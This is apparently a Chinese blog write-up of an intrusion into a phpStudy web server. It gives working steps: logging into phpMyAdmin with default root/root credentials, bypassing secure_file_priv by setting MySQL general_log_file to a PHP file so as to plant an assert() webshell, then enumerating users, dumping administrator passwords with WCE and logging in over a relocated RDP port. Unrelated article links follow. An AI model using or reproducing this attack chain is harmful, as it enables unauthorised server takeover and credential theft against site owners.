在前面的phpmyadmin漏洞利用专题中介绍了如何通过root账号来获取webshell,但在现实情况中,由于Mysql版本较高以及配置文件的缘故,往往无法直接通过root账号写入网站真实路劲下获取webshell;通过研究发现其实可以通过一些方法绕过,同样可以获取webshell,下面将整个渗透过程和方法跟大家分享。

 
1.信息收集
 
   目标站点访问其子域名,如图1所示,发现该站点是使用phpStudy2014搭建的,通过phpinfo信息泄露,可以获取网站的绝对路径“D:/phpStudy/WWW”,服务器为Windows Server 2003 ,phpstudy探针文件“D:/phpStudy/WWW/l.php”。
 

图1获取网站真实路劲等信息
 
2.获取root账号和密码
   phpStudy默认账号为root/root,使用其进行登录,成功登录系统,如果不是这个账号和密码,可以使用phpmyadmin暴力破解工具进行暴力破解,如图2所示,登录后看目前使用的数据应该是www数据库。查看mysql数据库中的user表中的数据,如图3所示,清一色的相同密码。
 

图2获取root账号和密码
 

图3 mysql数据库user表多个账号使用相同密码
 
3.直接导出webshell失败
   既然知道了网站真实路径“D:/phpStudy/WWW”和root账号,最简单的方法就是直接导出webshell:
所示,在以往是顺利成章的获取webshell,但这次显示错误信息:
 
1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
意思是Mysql服务器运行“--secure-file-priv”选项,所以不能执行这个语句。
 

图4导出webshell失败
 
4. secure_file_priv选项
 
   在mysql中使用secure_file_priv配置项来完成对数据导入导出的限制,前面的webshell导出就是如此,在实际中常常使用语句来导出数据表内容,例如把mydata.user表的数据导出来:
 
 
1
select * from mydata.user into outfile '/home/mysql/user.txt';
在mysql的官方给出了“--secure-file-priv=nameLimit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory”解释,限制导出导入文件到指定目录,其具体用法:
 
(1)限制mysqld不允许导入和导出
 
1
mysqld --secure_file_prive=null
(2)限制mysqld的导入和导出只能发生在/tmp/目录下
 
 
1
mysqld --secure_file_priv=/tmp/
(3)不对mysqld 的导入和导出做限制,在/etc/my.cnf文件中不指定值。
 
5.通过general_loggeneral_log_file来获取webshell
 
   mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。在mysql中执行查询:
 
 
 
1
2
3
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
   如图5,图6和图7所示,分别打开general_log开关,设置general_log_file文件,执行查询。
 

图5打开general_log开关

图6设置general_log_file文件

图7执行webshell查询
 
 
6.获取webshell
 
   在浏览器中打开地址http://******.hy******.cn/cmd.php,如图8所示,会显示mysql查询的一些信息,由于一句话后门通过查询写入了日志文件cmd.php,因此通过中国菜刀一句话后门可以成功获取webshell,如图9所示。
 

图8查看文件

图9获取webshell
 
7.服务器密码获取
 
  (1)查看服务器权限及用户权限
  通过中国菜刀一句话后门管理工具,打开远程终端命令执行,如图10所示,分别执行“whomai”、“net user”、“net localgroup administrator”命令来查看当前用户的权限,当前系统所有用户,管理员用户情况。

图10查看当前用户权限
(2)上传wce密码获取工具
    直接执行g86.exe顺利获取管理员密码,如图11所示,开始执行g64.exe没有成功是因为系统是32位操作系统。

图11获取管理员密码
 
8.获取远程终端端口
 
  通过命令 tasklist /svc | find "TermService"及netstat -ano | find"1792" 命令来获取当前的3389端口为8369端口,tasklist /svc | find "TermService"获取的是远程终端服务对应的进程号,netstat -ano | find "1792"查看进程号1792所对应的端口,在实际过程中1792值会有变化。

图12获取3389端口
 
9.登录3338
 
  打开mstsc,在连接地址中输入202.58.***.***:8369,输入获取的管理员和密码进行登录,如图13所示,成功登录服务器。
 

图13登录3389
 
10.总结
 
(1)查看genera文件配置情况

1
show global variables like "%genera%";
(2)关闭general_log
 
 
1
set global general_log=off;
(3)通过general_log选项来获取webshell
 
 
1
2
3
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

Mysql root账号general_log_file方法获取webshell的更多相关文章

  1. 远程登陆linux连接mysql root账号报错:2003-can't connect to MYSQL serve(转)

    远程连接mysql root账号报错:2003-can't connect to MYSQL serve 1.远程连接Linux系统,登录数据库:mysql -uroot -p(密码) 2.修改roo ...

  2. 远程连接mysql root账号报错:2003-can't connect to MYSQL serve(转)

    远程连接mysql root账号报错:2003-can't connect to MYSQL serve 1.远程连接Linux系统,登录数据库:mysql -uroot -p(密码) 2.修改roo ...

  3. MySQL修改账号密码方法大全

    前言: 在日常使用数据库的过程中,难免会遇到需要修改账号密码的情景,比如密码太简单需要修改.密码过期需要修改.忘记密码需要修改等.本篇文章将会介绍需要修改密码的场景及修改密码的几种方式. 1.忘记 r ...

  4. 远程连接mysql root账号报错:2003-can't connect to MYSQL serve

    1.远程连接Linux系统,登录数据库:mysql -uroot -p(密码) 2.修改root账号的设置: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDE ...

  5. wamp5 忘记mysql root密码 重置方法

    wamp5比较恶心,忘记mysql root密码了,重新安装都没用,网上找了个文章可以修改root的密码. http://www.kuqin.com/database/20080306/4249.ht ...

  6. Mac忘记MySQL root密码解决方法(亲测有效)

    重置MySQL root密码 重置MySQL root用户的密码: 1)新建一个文本文件sql.txt,写入修改用户密码的SQL语句. MySQL 5.7.6及更高版本写这句: ALTER USER ...

  7. 修改mysql root账号密码

    一.拥有原来的myql的root的密码: 方法一:在mysql系统外,使用mysqladmin# mysqladmin -u root -p password "test123"E ...

  8. 修改mysql root密码的方法

    方法1: 用SET PASSWORD命令 首先登录MySQL. 格式:mysql> set password for 用户名@localhost = password('新密码'); 例子:my ...

  9. docker容器以ROOT账号登录(获取ROOT权限/ROOT密码)

    第一步:查看容器的CONTAINER ID docker ps 第二步:获取root权限,例如需要进入的CONTAINER ID为4650e8d1bcca docker exec -ti -u roo ...

随机推荐

  1. mybatis学习二 全局配置文件常用配置

    全局配置文件的详细解析可以参考mybatis的中文参考文档 1.全局配置文件中内容1.1 <transactionManager/> type 属性可取值1.1.1 JDBC,事务管理使用 ...

  2. NOIP2017普及组T2题解

    还是神奇的链接 上面依然是题目. 这道题依然很简单,比起2015年的普及组t2好像还是更水一些. 不过这道题能讲的比第一题多. 我们一起来看一下吧! 这一题,我们首先将书的编号全部读入,存在一个数组里 ...

  3. IDEA导入MySQL包

    点击[Project Structure] 点击[Modules]   在点击下面的界面   找到自己下载的MySQL包就OK了  

  4. 2019.01.23 ural1519 Formula 1(轮廓线dp)

    传送门 轮廓线dpdpdp模板题. 题意简述:给一个放有障碍的网格图,问有多少种方法能使所有非障碍格子都在同一条哈密顿回路上面. 考虑用括号序列的写法来状压这个轮廓线. 用000表示没有插头,111表 ...

  5. 2019.01.21 洛谷P3919 【模板】可持久化数组(主席树)

    传送门 题意简述:支持在某个历史版本上修改某一个位置上的值,访问某个历史版本上的某一位置的值. 思路: 用主席树直接维护历史版本即可. 代码: #include<bits/stdc++.h> ...

  6. 2018.12.15 hdu4641 K-string(后缀自动机)

    传送门 后缀自动机基础题. 题意简述:支持动态在串尾插入字符,查询在串中出现超过kkk次的子串的个数. 动态修改samsamsam,每次增量构造好了之后在parentparentparent树上从新建 ...

  7. MySQL库中表名忽略大小写设置的影响

    前不久,对mysql的lower_case_table_names参数有点小小的疑问: 1.lower_case_table_names是表名忽略大小写还是所有对象(字段.索引等)都忽略大小写? 2. ...

  8. MySQL 安装与使用(二)

    操作系统:CentOS release 5.10 (Final) MySQL版本:5.1.72-community 一.MySQL数据库简单迁移(备份与还原) 参考:http://dev.mysql. ...

  9. 深入浅出javascript(六)对象

    2.为什么一切皆对象? <Javascript权威指南>解释了这个问题,问题的起源在于,如果typeof(字符串)返回的是string,并非object,那么为什么字符串也是对象呢? 简单 ...

  10. 主题模型之概率潜在语义分析(Probabilistic Latent Semantic Analysis)

    上一篇总结了潜在语义分析(Latent Semantic Analysis, LSA),LSA主要使用了线性代数中奇异值分解的方法,但是并没有严格的概率推导,由于文本文档的维度往往很高,如果在主题聚类 ...